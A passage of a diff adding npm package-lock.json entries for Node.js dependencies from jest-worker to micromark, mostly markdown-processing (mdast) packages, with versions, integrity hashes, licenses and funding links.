"^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/jiti": { + "version": "1.21.7", + "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==", + "license": "MIT", + "bin": { + "jiti": "bin/jiti.js" + } + }, + "node_modules/joi": { + "version": "17.13.4", + "integrity": "sha512-1RuuER6kmt8K8I3nIWvPZKi5RQCb568ZPyY4Pwjlua+yo+63ZTmIwxLZH0heBmiKN4uxjvCiarDrjaeH84xicQ==", + "license": "BSD-3-Clause", + "dependencies": { + "@hapi/hoek": "^9.3.0", + "@hapi/topo": "^5.1.0", + "@sideway/address": "^4.1.5", + "@sideway/formula": "^3.0.1", + "@sideway/pinpoint": "^2.0.0" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/js-yaml": { + "version": "4.3.0", + "integrity": "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/puzrin" + }, + { + "type": "github", + "url": "https://github.com/sponsors/nodeca" + } + ], + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "3.1.0", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "license": "MIT" + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "license": "MIT" + }, + "node_modules/json-schema-traverse": { + "version": "1.0.0", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/json5": { + "version": "2.2.3", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.2.1", + "integrity": "sha512-zwOTdL3rFQ/lRdBnntKVOX6k5cKJwEc1HdilT71BWEu7J41gXIB2MRp+vxduPSwZJPWBxEzv4yH1wYLJGUHX4Q==", + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/katex": { + "version": "0.16.47", + "integrity": "sha512-Eeo8Ys1doU1z+x8AZsPpQu+p/QcZBI5PeOo7QGQdy2x2m0MU/hYagBbGOmXwr5KVbEfVuWv9LpnQWeehogurjg==", + "funding": [ + "https://opencollective.com/katex", + "https://github.com/sponsors/katex" + ], + "license": "MIT", + "dependencies": { + "commander": "^8.3.0" + }, + "bin": { + "katex": "cli.js" + } + }, + "node_modules/katex/node_modules/commander": { + "version": "8.3.0", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/kind-of": { + "version": "6.0.3", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/kleur": { + "version": "3.0.3", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/latest-version": { + "version": "7.0.0", + "integrity": "sha512-KvNT4XqAMzdcL6ka6Tl3i2lYeFDgXNCuIX+xNx6ZMVR1dFq+idXd9FLKNMOIx0t9mJ9/HudyX4oZWXZQ0UJHeg==", + "license": "MIT", + "dependencies": { + "package-json": "^8.1.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/launch-editor": { + "version": "2.14.1", + "integrity": "sha512-QWBrQsMpH7gPr965dsKD/3cKWiNoTjpATQf++Xq63N6sKRGMwlVXz41O1IZTMfZQgBctD/K5Zt06+/I6pP6+HA==", + "license": "MIT", + "dependencies": { + "picocolors": "^1.1.1", + "shell-quote": "^1.8.4" + } + }, + "node_modules/leven": { + "version": "3.1.0", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/lilconfig": { + "version": "3.1.3", + "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antonk52" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "license": "MIT" + }, + "node_modules/load-script": { + "version": "1.0.0", + "integrity": "sha512-kPEjMFtZvwL9TaZo0uZ2ml+Ye9HUMmPwbYRJ324qF9tqMejwykJ5ggTyvzmrbBeapCAbk98BSbTeovHEEP1uCA==", + "license": "MIT" + }, + "node_modules/loader-runner": { + "version": "4.3.2", + "integrity": "sha512-DFEqQ3ihfS9blba08cLfYf1NRAIEm+dDjic073DRDc3/JspI/8wYmtDsHwd3+4hwvdxSK7PGaElfTmm0awWJ4w==", + "license": "MIT", + "engines": { + "node": ">=6.11.5" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/loader-utils": { + "version": "2.0.4", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", + "license": "MIT", + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/locate-path": { + "version": "7.2.0", + "integrity": "sha512-gvVijfZvn7R+2qyPX8mAuKcFGDf6Nc61GdvGafQsHL0sBIxfKzA+usWn4GFC/bk+QdwPUD4kWFJLhElipq+0VA==", + "license": "MIT", + "dependencies": { + "p-locate": "^6.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash": { + "version": "4.18.1", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "license": "MIT" + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", + "license": "MIT" + }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", + "license": "MIT" + }, + "node_modules/lodash.uniq": { + "version": "4.5.0", + "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==", + "license": "MIT" + }, + "node_modules/longest-streak": { + "version": "3.1.0", + "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "license": "MIT", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lower-case": { + "version": "2.0.2", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "license": "MIT", + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/lowercase-keys": { + "version": "3.0.0", + "integrity": "sha512-ozCC6gdQ+glXOQsveKD0YsDy8DSQFjDTz4zyzEHNV5+JP5D62LmfDZ6o1cycFx9ouG940M5dE8C8CTewdj2YWQ==", + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "license": "ISC", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/markdown-extensions": { + "version": "2.0.0", + "integrity": "sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q==", + "license": "MIT", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/markdown-table": { + "version": "3.0.4", + "integrity": "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/mdast-util-directive": { + "version": "3.1.0", + "integrity": "sha512-I3fNFt+DHmpWCYAT7quoM6lHf9wuqtI+oCOfvILnoicNIqjh5E3dEJWiXuYME2gNe8vl1iMQwyUHa7bgFmak6Q==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "ccount": "^2.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0", + "parse-entities": "^4.0.0", + "stringify-entities": "^4.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-find-and-replace": { + "version": "3.0.2", + "integrity": "sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "escape-string-regexp": "^5.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-find-and-replace/node_modules/escape-string-regexp": { + "version": "5.0.0", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mdast-util-from-markdown": { + "version": "2.0.3", + "integrity": "sha512-W4mAWTvSlKvf8L6J+VN9yLSqQ9AOAAvHuoDAmPkz4dHf553m5gVj2ejadHJhoJmcmxEnOv6Pa8XJhpxE93kb8Q==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "mdast-util-to-string": "^4.0.0", + "micromark": "^4.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-decode-string": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-from-markdown/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/mdast-util-frontmatter": { + "version": "2.0.1", + "integrity": "sha512-LRqI9+wdgC25P0URIJY9vwocIzCcksduHQ9OF2joxQoyTNVduwLAFUzjoopuRJbJAReaKrNQKAZKL3uCMugWJA==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "escape-string-regexp": "^5.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0", + "micromark-extension-frontmatter": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-frontmatter/node_modules/escape-string-regexp": { + "version": "5.0.0", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mdast-util-gfm": { + "version": "3.1.0", + "integrity": "sha512-0ulfdQOM3ysHhCJ1p06l0b0VKlhU0wuQs3thxZQagjcjPrlFRqY215uZGHHJan9GEAXd9MbfPjFJz+qMkVR6zQ==", + "license": "MIT", + "dependencies": { + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-gfm-autolink-literal": "^2.0.0", + "mdast-util-gfm-footnote": "^2.0.0", + "mdast-util-gfm-strikethrough": "^2.0.0", + "mdast-util-gfm-table": "^2.0.0", + "mdast-util-gfm-task-list-item": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-autolink-literal": { + "version": "2.0.1", + "integrity": "sha512-5HVP2MKaP6L+G6YaxPNjuL0BPrq9orG3TsrZ9YXbA3vDw/ACI4MEsnoDpn6ZNm7GnZgtAcONJyPhOP8tNJQavQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "ccount": "^2.0.0", + "devlop": "^1.0.0", + "mdast-util-find-and-replace": "^3.0.0", + "micromark-util-character": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-autolink-literal/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/mdast-util-gfm-autolink-literal/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/mdast-util-gfm-footnote": { + "version": "2.1.0", + "integrity": "sha512-sqpDWlsHn7Ac9GNZQMeUzPQSMzR6Wv0WKRNvQRg0KqHh02fpTz69Qc1QSseNX29bhz1ROIyNyxExfawVKTm1GQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.1.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-strikethrough": { + "version": "2.0.0", + "integrity": "sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-table": { + "version": "2.0.0", + "integrity": "sha512-78UEvebzz/rJIxLvE7ZtDd/vIQ0RHv+3Mh5DR96p7cS7HsBhYIICDBCu8csTNWNO6tBWfqXPWekRuj2FNOGOZg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "markdown-table": "^3.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-task-list-item": { + "version": "2.0.0", + "integrity": "sha512-IrtvNvjxC1o06taBAVJznEnkiHxLFTzgonUdy8hzFVeDun0uTjxxrRGVaNFqkU1wJR3RBPEfsxmU6jDWPofrTQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-math": { + "version": "3.0.0", + "integrity": "sha512-Tl9GBNeG/AhJnQM221bJR2HPvLOSnLE/T9cJI9tlc6zwQk2nPk/4f0cHkOdEixQPC/j8UtKDdITswvLAy1OZ1w==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "longest-streak": "^3.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.1.0", + "unist-util-remove-position": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx": { + "version": "3.0.0", + "integrity": "sha512-JfbYLAW7XnYTTbUsmpu0kdBUVe+yKVJZBItEjwyYJiDJuZ9w4eeaqks4HQO+R7objWgS2ymV60GYpI14Ug554w==", + "license": "MIT", + "dependencies": { + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-mdx-expression": "^2.0.0", + "mdast-util-mdx-jsx": "^3.0.0", + "mdast-util-mdxjs-esm": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-expression": { + "version": "2.0.1", + "integrity": "sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-jsx": { + "version": "3.2.0", + "integrity": "sha512-lj/z8v0r6ZtsN/cGNNtemmmfoLAFZnjMbNyLzBafjzikOM+glrjNHPlf6lQDOTccj9n5b0PPihEBbhneMyGs1Q==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "ccount": "^2.0.0", + "devlop": "^1.1.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0", + "parse-entities": "^4.0.0", + "stringify-entities": "^4.0.0", + "unist-util-stringify-position": "^4.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdxjs-esm": { + "version": "2.0.1", + "integrity": "sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-phrasing": { + "version": "4.1.0", + "integrity": "sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-hast": { + "version": "13.2.1", + "integrity": "sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "@ungap/structured-clone": "^1.0.0", + "devlop": "^1.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "trim-lines": "^3.0.0", + "unist-util-position": "^5.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-markdown": { + "version": "2.1.2", + "integrity": "sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "longest-streak": "^3.0.0", + "mdast-util-phrasing": "^4.0.0", + "mdast-util-to-string": "^4.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-decode-string": "^2.0.0", + "unist-util-visit": "^5.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-string": { + "version": "4.0.0", + "integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdn-data": { + "version": "2.0.30", + "integrity": "sha512-GaqWWShW4kv/G9IEucWScBx9G1/vsFZZJUO+tD26M8J8z3Kw5RDQjaoZe03YAClgeS/SWPOcb4nkFBTEi5DUEA==", + "license": "CC0-1.0" + }, + "node_modules/media-typer": { + "version": "0.3.0", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/memfs": { + "version": "4.64.0", + "integrity": "sha512-Kw72fgY7Wn+sD8KmtNWSafl1dz0UvAsE/PHs3YVfLiaZuA3HxNm9sRLqAu0ATiBGJvME1PxZXbBZPv5GycDeAw==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/fs-core": "4.64.0", + "@jsonjoy.com/fs-fsa": "4.64.0", + "@jsonjoy.com/fs-node": "4.64.0", + "@jsonjoy.com/fs-node-builtins": "4.64.0", + "@jsonjoy.com/fs-node-to-fsa": "4.64.0", + "@jsonjoy.com/fs-node-utils": "4.64.0", + "@jsonjoy.com/fs-print": "4.64.0", + "@jsonjoy.com/fs-snapshot": "4.64.0", + "@jsonjoy.com/json-pack": "^1.11.0", + "@jsonjoy.com/util": "^1.9.0", + "glob-to-regex.js": "^1.0.1", + "thingies": "^2.5.0", + "tree-dump": "^1.0.3", + "tslib": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/memoize-one": { + "version": "5.2.1", + "integrity": "sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q==", + "license": "MIT" + }, + "node_modules/merge-descriptors": { + "version": "1.0.3", + "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "license": "MIT" + }, + "node_modules/merge2": { + "version": "1.4.1", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/micromark": { + "version": "4.0.2", + "integrity": "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], 